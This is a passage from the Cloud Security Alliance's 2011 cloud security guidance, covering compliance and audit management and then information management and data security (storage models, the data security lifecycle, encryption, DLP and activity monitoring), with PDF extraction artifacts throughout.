FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 43 the cloud services agreement should require the cloud service provider to notify the company that a subpoena was received and give the company time to fight the request for access. The cloud service provider might be tem pted to reply to the request by opening its facilities and providing the requestors with whatever information is identified in the access request. Before doing so, the cloud service provider should ensure that the request is in good order, and uses the ap propriate legal method. The cloud service provider should carefully analyze the request before disclosing information in its custody. Complex laws apply depending on the specific nature of the information, its location, etc. For example, different rules apply for requesting access to the content of an email, depending on whether or not the email has been opened, and how long the email has been stored. Different rules apply if the information requested is the content of the email, or only the transactiona l data about the email (e.g., when sent, to whom, etc.). SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 44 REFERENCES International Treaties and Agreements [1] OECD Guidelines on the Protection of Privacy and Transborder Flows of Personal Data (1980). [2] OECD Guidelines for the Security of Information Systems and Networks (2002). [3] OECD Recommendation on Cross -border Cooperation in the Enforcement of Laws Protecting Privacy. Publications [4] GILBERT, Francoise. © 2009- 2011. Global Privacy & Security. Aspen Publishing / Wolters Kluwer (2 volumes). [5] GILBERT, Francoise . 2011. Cloud Service Providers Can Be Both Data Processors and Data Controllers (BNA Privacy & Security Law Report 10 PVLR 266 (2011). Journal of Internet Law, Volume 15, Number 2, page 3. [6] POWER, Michael E. AND TROPE, Roland L. 20 05. Sailing in Dangerous Waters: A Director’s Guide to Data Governance. American Bar Association. [7] SMEDINGHOFF, Thomas. 2008 Information Security Law: Emerging Standard for Corporate Compliance (ITGP). Websites [8] Cloud computing definitions and busin ess models: http://p2pfoundation.net/Cloud_ComputingDefinition (technical aspects, business models ) [9] Cloud Computing Incidents Database: http://wiki.cloudcommunity.org/wiki/CloudComputing:Incidents_Database (Records and monitors verifiable, noteworthy events that affect cloud computing providers, such as out ages, security issues, and breaches ) SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 45 DOMAIN 4 // COMPLIANCE AND AUDIT MANAGEMENT Organizations face new challenges as they migrate from traditional data centers to the cloud. Delivering, measuring, and communicating compliance with a multitude of regulations across multiple jurisdictions is one of the largest challenges. Customers and providers alike need to understand and appreciate the differences and implications on existing compliance and audit standards, processes, and practices. The distributed and virtualized nature of cloud requires significant framework adjustment from approac hes based on definite and physical instantiations of information and processes. Cloud has the potential to improve transparency and assurance, through its more centralized and consolidated management platforms. Moreover, the outsourced solutions from clo ud providers reduce the scale -dependency of compliance. With providers able to deliver first -day compliant solutions, new firms (for- profit and non -profit) would be able to enter markets and take actions that would have been cost- prohibitive in a pre -clou d era. Governments and other organizations previously reluctant to outsource IT operations due to issues of security and compliance may be more ready to adopt a cloud model, where compliance can be partly addressed through contractual delegation. In addit ion to providers and customers, regulators and auditors are also adjusting to the new world of cloud computing. Few existing regulations were written to account for virtualized environments or cloud deployments. A cloud consumer can be challenged to show auditors that the organization is in compliance. Understanding the interaction of cloud computing and the regulatory environment is a key component of any cloud strategy. Cloud customers must consider and understand the following:  Regulatory implication s for using a particular cloud service or providers, giving particular attention to any cross - border or multi- jurisdictional issues when applicable  Assignment of compliance responsibilities between the provider and customer, including indirect providers (i.e., the cloud provider of your cloud provider)  Provider capabilities for demonstrating compliance, including document generation, evidence production, and process compliance, in a timely manner  Relationships between customer, providers and auditors (both the customer's and provider's) to ensure required (and appropriately restricted) access and alignment with governance requirements Overview. This domain will address the following topics:  Compliance  Audit SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 46 4.1 Compliance Figure 1 —GRC Value Ecosystem  Corporate Governance : the balance of control between stakeholders, directors and managers of an organization providing consistent management, cohesive application of policies, guidance and controls, and enabling effective decision -making  Enterprise Risk Ma nagement: methods and processes (framework) used by organizations to balance decision - making based on identifying particular events or circumstances relevant to the organization's objectives (risks and opportunities), assessing them in terms of likelihood and magnitude of impact, determining a response strategy, and monitoring progress to protect and create value for their stakeholders  Compliance and Audit Assurance : awareness and adherence to corporate obligations (e.g., corporate social responsibility, et hics, applicable laws, regulations, contracts, strategies and policies) by assessing the state of compliance, assessing the risks and potential costs of non -compliance against the costs to achieve compliance, and hence prioritize, fund, and initiate any co rrective actions deemed necessary Information technology in the cloud is increasingly subject to a plethora of policies and regulations. All stakeholders expect organizations to proactively comply with regulatory guidelines and requirements across multiple jurisdictions. IT governance is a necessity to deliver against these requirements and all organizations need a strategy to deliver. Governance includes the processes and policies that enable the smooth execution of organizational objectives within the co nstraints of the external environment. Governance requires compliance activities to ensure that operations are fully aligned with those processes and policies. In this sense, compliance is focused on aligning with external requirements (e.g., law, regulation, industry standards) while governance is focused on aligning with internal requirements (e.g., board decisions, corporate policy). Compliance can be defined as the awareness and adherence to obligations (e.g., corporate social responsibility, applicab le laws, ethical guidelines), including the assessment and prioritization of corrective actions deemed necessary and appropriate. In some environments, particularly those highly regulated, the transparency aspect can even be dominant with reporting requir ements getting more attention than compliance itself. In the best circumstances, compliance is not an inhibitor of organizational effectiveness, but a complement to internally determined policies. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 47 Regulations typically have strong implications for information technology and its governance, particularly in terms of monitoring, management, protection, and disclosure). IT governance is a supporting element in overall corporate governance, enterprise risk management, compliance, and audit/assurance. Cloud ca n be an enabling technology for governance and compliance, centralizing control and transparency through its management platforms, particularly for internally management cloud. By leveraging cloud services, sub -scale organizations can achieve the same lev el of compliance as much larger and highly resources entities. Security and assurance services are one way third -parties can play a role in compliance assessment and communication. Any compliance approach will need to include participation across the organization, including IT. The role of external providers needs to be carefully considered, and responsibility for including them in governance, indirectly or directly, should be explicitly assigned within the customer organization. In addition, the followin g represent a number of cloud security standards that are in development within ISO/IEC and ITU-T:  ISO/IEC 27017: Cloud Computing Security and Privacy Management System -Security Controls  ISO/IEC 27036 -x: Multipart standard for the information security of supplier relationship management that is planned to include a part relevant to the cloud supply chain  ITU-T X.ccsec: Security guideline for cloud computing in telecommunication area  ITU-T X.srfcts: Security requ irements and framework of cloud -based teleco mmunication service environment (X.srfcts) ITU-T X.sfcse: Security functional requirements for Software as a Service (SaaS ) application environment 4.2 Audit Proper organizational governance naturally includes audit and assurance. Audit must be indepe ndently conducted and should be robustly designed to reflect best practice, appropriate resources, and tested protocols and standards. Both internal and external audit and controls have legitimate roles to play for cloud, for both the customer and provide r. Greater transparency may be best during initial stages of cloud introduction, to increase stakeholder comfort levels. An audit is one method to provide assurance that operational risk management activities are thoroughly tested and reviewed. An audit plan should be adopted and supported by the most senior governing elements of the organization (e.g., the board and management). Regular and independent audits of critical systems and controls, including the accompanying audit trail and documentation will support improvements in efficiency and reliability. Many organizations use a maturity model (e.g., CMM, PTQM) as a framework for analyzing process effectiveness. In some cases, a more statistical approach to risk management is adopted (e.g., Basel and S olvency accords for financial services) and as the field matures more specialized models for risk can be adopted as appropriate for the function or line of business. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 48 For cloud, these practices will need to be revised and enhanced. Just as with previous models of information technology, audit will need to take advantage of the potential of cloud, as well as increase scope and scale to manage its novel aspects. 4.3 Recommendations When engaging a provider, involve the appropriate legal, procurement, and contracts teams within the customer organization. The standard terms of services may not address compliance needs, and would need to be negotiated. Specialized compl iance requirements for highly regulated industries (e.g. , finance, health care) should be considered when using a cloud service. Organizations who understand their current requirements should consider the impact of a distributed IT model, including the im pact of cloud providers operating in diverse geographic locations and different legal jurisdictions. Determine how existing compliance requirements will be impacted by the use of cloud services, for each workload (i.e., set of applications and data), in particular as they relate to information security. As with any outsourced solution, organizations need to understand which of their cloud partners are and should be processing regulated information. Examples of impacted policies and procedures include activ ity reporting, logging, data retention, incident response, controls testing, and privacy policies. Understand the contractual responsibilities of each party. The baseline expectations will vary by deployment model with the customer having more control and responsibility in an IaaS model, and the provider having the dominant role for SaaS solutions. Particularly important is chained requirements and obligations – not just the customer to their direct cloud provider, but between the end customer and the pro vider’s cloud provider. Compliance with laws and industry regulation and its requirement (i.e. laws, technical, legal, compliance, risk, and security) is critical and must address during requirements identification stage. Any information processed, transm itted, stored, or viewed that is identified as Personal Identifiable Information ( PII) 22 or private information faces a plethora of compliance regulation worldwide that may vary country or state. Since cloud was designed to be geographically diverse and sc alable, solution data may be stored, processed, transmitted, or retrieved from many locations or multiple data centers of CSP. Some regulatory requirements specify controls that are difficult or impossible to achieve in certain cloud service types (e.g., geographic requirements may be inconsistent with distribute storage). Customers and providers must agree how to collect, store, and share compliance evidence (e.g., audit logs, activity reports, system configurations). o Prefer auditors that are "cloud aware" that will be familiar with the assurance challenges (and advantages) of virtualization and cloud. o Request cloud Provider’s SSAE 16 SOC2 or ISAE 3402 Type 2 report. These will provide a recognizable starting point of reference for auditors and assessors. o Contracts should provide for third -party review of SLA metrics and compliance (e.g., by a mutually -selected mediator). 22 PII - Personal Identifiable Information SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 49 4.3 Requirements  A right to audit clause gives customers the ability to audit the cloud provider, which supports traceability and transparency in the frequently evolving environments of cloud computing and regulation. Use a normative specification in the right to audit to ensure mutual understanding of expectations. In time, this right should be supplanted by third -party certificatio ns (e.g., driven by ISO/IEC 27001/27017).  A right to transparency clause with specified access rights can provide customers in highly regulated industries (including those in which non -compliance can be grounds for criminal prosecution) with required infor mation. The agreement should distinguish between automated/direct access to information (e.g., logs, reports) and 'pushed' information (e.g., system architectures, audit reports).  Providers should review, update, and publish their information security do cuments and GRC processes regularly (or as required). These should include vulnerability analysis and related remediation decisions and activities.  Third -party auditors should be mutually disclosed or selected in advance, jointly by provider and customer.  All parties should agree to use a common certification assurance framework (e.g., from ISO, COBIT) for IT governance and security controls. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 50 DOMAIN 5 // INFORMATION MANAGEMENT AND DATA SECURITY The primary goal of information security is to protect the fundamental data that powers our systems and applications. As companies transition to cloud computing, the traditional methods of securing data are challenged by cloud -based architectures. Elasticity, multi- tenancy, new physical and logical architecture s, and abstracted controls require new data security strategies. In many cloud deployments, users even transfer data to external — or even public — environments in ways that would have been unthinkable only a few years ago. Managing information in the era of cloud computing is a daunting challenge that affects all organizations; even those that aren’t seemingly actively engaged in cloud -based projects. It begins with managing internal data and cloud migrations and extends to securing information in diffu se, cross- organization applications and services. Information management and data security in the cloud era demand both new strategies and technical architectures. Fortunately not only do users have the tools and techniques needed, but the cloud transiti on even creates opportunities to better secure data in our traditional infrastructure. The authors recommend using a Data Security Lifecycle (explored below) for evaluating and defining cloud data security strategy. This should be layered with clear information governance policies, and then enforced by key technologies such as encryption and specialized monitoring tools. Overview. This domain includes three sections:  Section 1 provides background material on cloud information (storage) architectures.  Section 2 includes best practices for information management, including the Data Security Lifecycle.  Section 3 details specific data security controls, and when to use them. 5.1 Cloud Information Architectures Cloud information architectures are as d iverse as the cloud architectures themselves. While this section can’t possibly cover all potential permutations, there are certain consistent architectures within most cloud services. 5.1.1 Infrastructure as a Service IaaS, for public or private cloud , generally includes the following storage options:  Raw storage. This includes the physical media where data is stored. May be mapped for direct access in certain private cloud configurations.  Volume storage. This includes volumes attached to IaaS instances, typically as a virtual hard drive . Volumes often use data dispersion to support resiliency and security. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 51  Object storage. Object storage is sometimes referred to as file storage. Rather than a virtual hard drive, object storage is more like a file share accessed via API’s23 or web interface.  Content Delivery Network. Content is stored in object storage, which is then distributed to multiple geographically distributed nodes to improve Internet consumption speeds. 5.1.2 Platform as a Service PaaS both provides and relies on a very wide range of storage options. PaaS may provide:  Database as a Service. A multitenant database architecture that is directly consumable as a service. Users consume the database via APIs or direct SQL24 calls, depending o n the offering. Each customer’s data is segregated and isolated from other tenants. Databases may be relational, flat, or any other common structure.  Hadoop/MapReduce/Big Data as a Service. Big Data is data whose large scale, broad distribution, heterog eneity, and currency/timeliness require the use of new technical architectures and analytics. Hadoop and other Big Data applications may be offered as a cloud platform. Data is typically stored in Object Storage or another distributed file system. Data t ypically needs to be close to the processing environment, and may be moved temporally as needed for processing.  Application storage. Application storage includes any storage options built into a PaaS application platform and consumable via API’s that does n’t fall into other storage categories. PaaS may consume:  Databases. Information and content may be directly stored in the database (as text or binary objects) or as files referenced by the database. The database itself may be a collection of IaaS instances sharing common back -end storage.  Object/File Storage. Files or other data are stored in object storage, but only accessed via the PaaS API.  Volume Storage. Data may be stored in IaaS volumes attached to instances dedicated to providing the PaaS service.  Other. These are the most common storage models, but this is a dynamic area and other options may be available. 5.1.3 Software as a Service As with PaaS, SaaS uses a very wide range of storage and consumption models. SaaS storage is always accessed via a web -based user interface or client/server application. If t he storage is accessible via API then it’s considered PaaS. Many SaaS providers also offer these PaaS APIs. 23 API - Application Program Interface 24 SQL - Structural Query Language is programming language designed for managing data SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 52 SaaS may provide:  Information Storage and Management. Data is entered into the system via the web interface and stored within the SaaS application (usually a back -end database). Some SaaS services offer data set upload options, or PaaS API’s.  Content/File Storage. File -based content is stored within the SaaS application (e.g., reports, image files, documents) and made accessible via the web -based user interface. SaaS may consume:  Databases. Like PaaS, a large number of SaaS services rely on database back -ends, even for file storage.  Object/File Storage. Files or other data are stored in object storage, but only accessed via the SaaS application.  Volume Storage. Data may be stored in IaaS volumes attached to instances dedicated to providing the SaaS service. 5.2 Data (Information) Dispersion Data (Information) Dispersion is a technique that is commonly used to improve data security, but withou t the use of encryption mechanisms. These sorts of algorithms ( IDA25 for short) are capable of providing high availability and assurance for data stored in the cloud, by means of data fragmentation, and are common in many cloud platforms. In a fragmentation scheme, a file f is split into n fragments; all of these are signed and distributed to n remote servers. The user then can reconstruct f by accessing m arbitrarily chosen fragments. The fragmentation mechanism can also be used for storing long -lived da ta in the cloud with high assurance. When fragmentation is used along with encryption, data security is enhanced: an adversary has to compromise m cloud nodes in order to retrieve m fragments of the file f, and then has to break the encryption mechanism be ing used. 5.3 Information Management Before we can discuss specific data security controls, we need a model to understand and manage our information. Information management includes the processes and policies for both understanding how your information is used, and governing that usage. In the data security section, specific technical controls and recommendations are discussed to monitor and enforce this governance. 5.4 The Data Security Lifecycle Although Information Lifecycle Management is a fairly mature field, it doesn’t map well to the needs of security professionals. The Data Security Lifecycle is different from Information Lifecycle Management, reflecting the different needs of the security audience. This is a summary of the lifecycle, and a c omplete version is available at http://www.securosis.com/blog/data -security -lifecycle -2.0 25 IDA - Intrusion D etection Algorithms SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 53 The lifecycle includes six phases from creation to destruction. Although it is shown as a linear progression, once created, data can bounce between phases without restriction, and may not pass through all stages (for example, not all data is eventually destroyed). 1. Create. Creation is the generation of new digital content, or the alteration/updating/modifying of existing content. 2. Store. Storing is the act committing the digital data to some sort of storage repository and typically occurs nearly simultaneously with creation. 3. Use. Data is viewed, processed, or otherwise used in some sort of activity, not including modification. 4. Share. Information is made accessible to others, such as between users, to customers, and to partners. 5. Archive. Data leaves active use and enters long -term storage. 6. Destroy. Data is permanently destroyed using physical or digital means (e.g., cryptoshredding). 5.4.1 Locations and Access The lifecycle represents the phases information passes through but doesn’t address its location or how it is accessed. Locations This can be illustrated by thinking of the lifecycle not as a single, linear operation, but as a series of smaller lifecycles running in different operating environments. At nearly any phase data can move into, out of, and between these environments. Due to all the potential regulatory, contractual, and other jurisdictional issues it is extremely important to understand both the logical and physical locations of data. Access When users know where the data lives and how it moves, they need to know who is accessing it and how. There are two f actors here: 1. Who accesses the data? Figure 1—Data Lifecycle Figure 2 —Cloud Access Devices SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 54 2. How can they access it (device & channel)? Data today is accessed using a variety of different devices. These devices have different security characteristics and may use different applications or clients. 5.4.2 Functions, Actors, and Controls The next step identifies the functions that can be performed with the data, by a given actor (person or system) and a particular location. Functions There are three things we can do with a given datum:  Access. View/access the data, including creating, copying, file transfers, dissemination, and other exchanges of information.  Process. Perform a transaction on the data: update it; use it in a business processing transaction, etc.  Store. Hold the data (in a file, database, etc.). The table below shows which functions map to which phases of the lifecycle: Table 1 —Information Lifecycle Phases An actor (person, application, or system/process, as opposed to the access device) performs each function in a location. Controls A control restricts a list of possible actions down to allowed actions. The table below shows one way to list the possibilities, which the user then maps to controls. Table 2 —Possible and Allowed Controls Figure 3 —Functions vs. Controls SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 55 5.5 Information Governance Information governance includes the policies and procedures for managing information usage. It includes the following key features:  Information Classification. High- level descriptions of important information categories. Unlike with data classification the goal isn’t to label every piece of data in the organization, but rather to define high -level categories like “regulated” and “trade secret” to determine which security controls may apply.  Information Management Policies. Polic ies to define what activities are allowed for different information types.  Location and Jurisdictional Polices. Where data may be geographically located, which also has important legal and regulatory ramifications.  Authorizations. Define which types of employees/users are allowed to access which types of information.  Ownership. Who is ultimately responsible for the information.  Custodianship. Who is responsible for managing the information, at the bequest of the owner. 5.6 Data Security Data security includes the specific controls and technologies used to enforce information governance. This has been broken out into three sections to cover detection (and prevention) of data migrating to the cloud, protecting data in transit to the cloud and between di fferent providers/environments, and protecting data once it’s within the cloud. 5.6.1 Detecting and Preventing Data Migrations to the Cloud A common challenge organizations face with the cloud is managing data. Many organizations report individuals or business units moving often sensitive data to cloud services without the approval or even notification of IT or security. Aside from traditional data security controls (like access controls or encryption), there are two other steps to help manage unapproved data moving to cloud services: 1. Monitor for large internal data migrations with Database Activity Monitoring ( DAM ) 26and File Activity Monitoring ( FAM )27. 2. Monitor for data moving to the cloud with URL filters and Data Loss Prevention. 26 DAM - Database Activity Monitoring 27 FAM - File Activity Monitoring SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 56 Internal Data Migrations Before data can move to the cloud it needs to be pulled from its existing repository. Database Activity Monitoring can detect when an administrator or other user pulls a large data set or replicates a database, which could indicate a migration. File Act ivity Monitoring provides similar protection for file repositories, such as file shares. Movement to the Cloud A combination of URL filtering (web content security gateways) and Data Loss Prevention (DLP) can detect data moving from the enterprise into th e cloud. URL filtering allows you to monitor (and prevent) users connecting to cloud services. Since the administrative interfaces for these services typically use different addresses than the consumption side, the user can distinguish between someone acc essing an administrative console versus a user accessing an application already hosted with the provider. Look for a tool that offers a cloud services list and keeps it up to date, as opposed to one that requires creating a custom category, and the user ma naging the destination addresses. For greater granularity, use Data Loss Prevention. DLP tools look at the actual data/content being transmitted, not just the destination. Thus the user can generate alerts (or block) based on the classification of the d ata. For example, the user can allow corporate private data to go to an approved cloud service but block the same content from migrating to an unapproved service. The insertion point of the DLP solution can determine how successfully data leakage can be detected. For example, availability of cloud solutions to various users (e.g., employees, vendors, customers) outside of the corporate network environment avoids or nullifies any DLP solutions if they are inserted at the corporate boundary. 5.6.2 Protect ing Data Moving To (And Within) the Cloud In both public and private cloud deployments, and throughout the different service models, it’s important to protect data in transit. This includes:  Data moving from traditional infrastructure to cloud providers, including public/private, internal/external and other permutations.  Data moving between cloud providers.  Data moving between instances (or other components) within a given cloud. There are three options (or order of preference) : 1. Client/Application Encryption. Data is encrypted on the endpoint or server before being sent across the network or is already stored in a suitable encrypted format . This includes local client (agent -based) encryption (e.g., for stored files) or encryptio n integrated in applications. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 57 2. Link/Network Encryption. Standard network encryption techniques including SSL, VPNs, and SSH. Can be hardware or software. End to end is preferable but may not be viable in all architectures. 3. Proxy -Based Encryption. Data is transmitted to a proxy appliance or server, which encrypts before sending further on the network. Often a preferred option for integrating into legacy applications but is not generally recommended. 5.6.3 Protecting Data in the Cloud With such a wide r ange of options and technologies available in cloud computing, there is no way to cover all possible security options. The following are some of the more useful technologies and best practices for securing data within various cloud models. 5.6.3.1 Conte nt Discovery Content discovery includes the tools and processes to identify sensitive information in storage. It allows the organization to define policies based on information type, structure, or classification and then scans stored data using advanced c ontent analysis techniques to identify locations and policy violations. Content discovery is normally a feature of Data Loss Prevention tools; for databases, it is sometimes available in Database Activity Monitoring products. Scanning can be via accessin g file shares or a local agent running on an operating system. The tool must be “cloud aware” and capable of working within your cloud environment (e.g., able to scan object storage). Content discovery may also be available as a managed service. 5.6.3.2 IaaS Encryption 5.6.3.2.1 Volume Storage Encryption Volume encryption protects from the following risks:  Protects volumes from snapshot cloning/exposure  Protects volumes from being explored by the cloud provider (and private cloud admins)  Protects volu mes from being exposed by physical loss of drives (more for compliance than a real- world security issue) IaaS volumes can be encrypted using three methods:  Instance -managed encryption. The encryption engine runs within the instance, and the key is stored i n the volume but protected by a passphrase or keypair.  Externally managed encryption. The encryption engine runs in the instance, but the keys are managed externally and issued to the instance on request.  Proxy encryption. In this model you connect the volume to a special instance or appliance/software, and then connect your instance to the encryption instance. The proxy handles all crypto operations and may keep keys either onboard or external. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 58 5.6.3.2.2 Object Storage Encryption Object storage encr yption protects from many of the same risks as volume storage. Since object storage is more often exposed to public networks, it also allows the user to implement Virtual Private Storage . Like a VPN, a VPS28 allows use of a public shared infrastructure while still protecting data, since only those with the encryption keys can read the data even if it is otherwise exposed.  File/Folder encryption and Enterprise Digital Rights Management. Use standard file/fold er encryption tools or EDRM to encrypt the data before placing in object storage.  Client/Application encryption. When object storage is used as the back -end for an application (including mobile applications), encrypt the data using an encryption engine embedded in the application or client.  Proxy encryption. Data passes through an encryption proxy before being sent to object storage. 5.6.3.3 PaaS Encryption Since PaaS is so diverse, the following list may not cover all potential options:  Client/application encryption. Data is encrypted in the PaaS application or the client accessing the platform.  Database encrypt ion. Data is encrypted in the database using encryption built in and supported by the database platform.  Proxy encryption. Data passes through an encryption proxy before being sent to the platform.  Other. Additional options may include API’s built into the platform, external encryption services, and other variations. 5.3.4.4 SaaS Encryption SaaS providers may use any of the options previously discussed. It is recommended to use per -customer keys when possible to better enforce multi -tenancy isolation. The following options are for SaaS consumers:  Provider -managed encryption. Data is encrypted in the SaaS application and generally managed by the provider.  Proxy encryption. Data passes through an encryption proxy before being sent to the SaaS applicat ion. Encryption operations should use whatever encryption method is most appropriate, which may include shared keys or public/private keypairs and an extensive PKI/PKO 29(Public Key Infrastructure/Operations) structure. Please see Domain 11 for more inform ation on encryption and key management. 28 VPS - Virtual Private Storage 29 PKI/PKO - Public Key Infrastructure/Operations SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 59 5.3.5 Data Loss Prevention Data Loss Prevention (DLP) is defined as: Products that, based on central policies, identify, monitor, and protect data at rest, in motion, and in use, through deep content analysis. DLP can provide options for how data found violation of policy is to be handled. Data can be blocked (stopping a workflow) or allowed to proceed after remediation by encryption using methods such as DRM, ZIP, or OpenPGP. DLP is typically used for content dis covery and to monitor data in motion using the following options:  Dedicated appliance/server. Standard hardware placed at a network chokepoint between the cloud environment and the rest of the network/Internet or within different cloud segments.  Virtual a ppliance  Endpoint agent  Hypervisor -agent . The DLP agent is embedded or accessed at the hypervisor level, as opposed to running in the instance.  DLP SaaS. DLP is integrated into a cloud service (e.g., hosted email) or offered as a standalone service (typically content discovery). 5.3.6 Database and File Activity Monitoring Database Activity Monitoring (DAM) is defined as: Database Activity Monitors capture and record, at a minimum, all Structured Query Language (SQL) activity in real time or near real time, including database administrator activity, across multiple database platforms; and can generate alerts on policy violations. DAM supports near r eal time monitoring of database activity and alerts based on policy violations, such as SQL injection attacks or an administrator replicating the database without approval. DAM tools for cloud environments are typically agent -based connecting to a central collection server (which is typically virtualized). It is used with dedicated database instances for a single customer, although in the future may be available for PaaS. File Activity Monitoring (FAM) is defined as: Products that monitor and record al l activity within designated file repositories at the user level, and generate alerts on policy violations. FAM for cloud requires use of an endpoint agent or placing a physical appliance between the cloud storage and the cloud consumers. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 60 5.3.7 Applicat ion Security A large percentage of data exposures are the result of attacks at the application layer, particularly for web applications. Please see Domain 10 for more information on application security. 5.3.8 Privacy Preserving Storage Almost all cloud -based storage systems require some authentication of participants (cloud user and/or CSP) to establish trust relations, either for only one endpoint of communication or for both. Although cryptographic certificates can offer sufficient security for many of these purposes, they do not typically cater to privacy because they are bound to the identity of a real person (cloud user). Any usage of such a certificate exposes the identity of the holder to the party requesting authentication. There are many scena rios (e.g., storage of Electronic Health Records) where the use of such certificates unnecessarily reveals the identity of their holder. Over the past 10 -15 years, a number of technologies have been developed to build systems in a way that they can be trusted, like normal cryptographic certificates, while at the same time protecting the privacy of their holder (i.e., hiding the real holder’s identity). Such attribute -based credentials are issued just like ordinary cryptographic credentials (e.g., X.509 cre dentials) using a digital (secret) signature key. However, attribute -based credentials (ABCs) allow their holder to transform them into a new credential that contains only a subset of the attributes contained in the original credential. Still, these tran sformed credentials can be verified just like ordinary cryptographic credentials (using the public verification key of the issuer) and offer the same strong security. 5.3.9 Digital Rights Management (DRM) At its core, Digital Rights Management encrypts c ontent, and then applies a series of rights . Rights can be as simple as preventing copying, or as complex as specifying group or user -based restrictions on activities like cutting and pasting, emailing, changing the content, etc. Any application or syste m that works with DRM protected data must be able to interpret and implement the rights, which typically also means integrating with the key management system. There are two broad categories of Digital Rights Management:  Consumer DRM is used to protect bro adly distributed content like audio, video, and electronic books destined for a mass audience. There are a variety of different technologies and standards, and the emphasis is on one - way distribution.  Enterprise DRM is used to protect the content of an or ganization internally and with business partners. The emphasis is on more complex rights, policies, and integration within business environments and particularly with the corporate Directory Service . Enterprise DRM can secure content stored in the cloud w ell but requires deep infrastructure integration. It’s most useful for document based content management and distribution. Consumer DRM offers good protection for distributing content to customers but does not have a good track record with most technologies being cracked at some point. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 61 5.4 Recommendations o Understand the cloud storage architecture in use, which will help determine security risk and potential controls. o Choose storage with data dispersion when available. o Use the Data Security Lifecycle to identify security exposures and determine the most appropriate controls. o Monitor key internal databases and file repositories with DAM and FAM to identify large data migrations , which could indicate data migrating to the cloud. o Monitor employee Internet access with URL filtering and/or DLP tools to identify sensitive data moving to the cloud. Select tools that include predefined categories for cloud services. Consider using filtering to block unapproved activity. o Encrypt all sensitive data moving to or w ithin the cloud at the network layer, or at nodes before network transmission. This includes all service and deployment models. o When using any data encryption, pay particular attention to key management (see Domain 11). o Use content discovery to scan cloud storage and identify exposed sensitive data. o Encrypt sensitive volumes in IaaS to limit exposure due to snapshots or unapproved administrator access. The specific technique will vary depending on operational needs. o Encrypt sensitive data in object storage, usually with file/folder or client/agent encryption. o Encrypt sensitive data in PaaS applications and storage. Application -level encryption is often the preferred option, especially since few cloud databases support native encryption. o When using applicati on encryption, keys should be stored external to the application whenever possible. o If encryption is needed for SaaS, try to identify a provider that offers native encryption. Use proxy encryption if that isn’t available and /or trust levels must be assure d. o Use DLP to identify sensitive data leaking from cloud deployments. It is typically only available for IaaS, and may not be viable for all public cloud providers. o Monitor sensitive databases with DAM and generate alerts on security policy violations. Use a cloud -aware tool. o Consider privacy preserving storage when offering infrastructure or applications where normal access could reveal sensitive user information. o Remember that most large data security breaches are the result of poor application security. o Cloud providers should not only follow these practices, but expose data security tools and options to their customers. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 62 o Removal of data from a cloud vendor either due to expiry of contract or any other reason should be covered in detail while setting up the SLA. This should cover deletion of user accounts, migration or deletion of data from primary / redundant storage, transfer of keys, etc. 5.5 Requirements  Use the Data Security Lifecycle to identify security exposures and determine the most appropriate controls.  Due to all the potential regulatory, contractual, and other jurisdictional issues it is extremely important to understand both the logical and physical locations of data.  Monitor employee Internet access with URL filtering and/or DLP tools to identify sensitive data moving to the cloud.  Encrypt all sensitive data moving to or within the cloud at the network layer, or at nodes before network transmission.  Encrypt sensitive volumes in IaaS to limit exposure due to snapshots or unapproved admin istrator access.  Encrypt sensitive data in PaaS applications and storage. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 63 REFERENCES [1] RABIN, M. O. 1989. Efficient Dispersal of Information for Security, Load Balancing, and Fault Tolerance. J. ACM, 36(2), 335– 348. [2] SECUROSIS. 2011. The Data 